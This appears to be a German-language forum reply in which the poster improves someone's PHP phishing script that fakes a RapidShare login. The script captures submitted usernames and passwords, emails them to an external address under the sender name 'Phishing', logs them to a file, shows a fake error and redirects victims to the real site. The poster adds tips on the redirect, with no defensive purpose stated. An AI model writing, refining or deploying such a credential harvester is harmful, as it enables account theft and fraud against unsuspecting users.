Mh... Ich habe das mal so optimiert, wie ich denke, dass es richtig ist...
Code:
<?php
$benutzer = $_POST['benutzer'];
$pass = $_POST['pass'];
if (!$pass OR $pass == "")
{
print "Bitte geben Sie ihr Passwort ein" AND exit;
}
elseif (!$benutzer OR $benutzer == "")
{
print "Bitte geben Sie ihren Benutzernamen ein" AND exit;
}
else
{
$mailtext = "Benutzername:";
$mailtext .= $benutzer;
$mailtext .= "\n";
$mailtext .= "Passwort: ";
$mailtext .= $pass;
$name = "Phishing";
$email = "phishing@rapidshare.com";
$header = "From: ". $name . " <" . $email . ">\r\n";
mail("XXXXX@web.de",$benutzer,$mailtext,$header);
print "Es ist ein Fehler beim Login aufgetreten, bitte versuchen sie es erneut.";
}
$neue_datei = fopen("log.txt", a);
fwrite($neue_datei, "Benutzer:$benutzer \nPasswort:$pass \n\n\n");
fclose($neue_datei);
header("location: https://ssl.rapidshare.com/premiumzone.html");
?>
Den Redirekt auf alle Fälle mit dem Header()-Befehl. Den Meta-Befehl in HTML nutzt eigentlich keiner mehr . Optional kannst Du den auch an den Anfang setzen. Wäre hier nur nicht so gut, da Du ja eine Fehlerausgabe gemacht hast.
Die anderen Änderungen sind nur klein aber ich denke so geht es.
Ansonsten: http://de2.php.net/manual/de/book.mail.php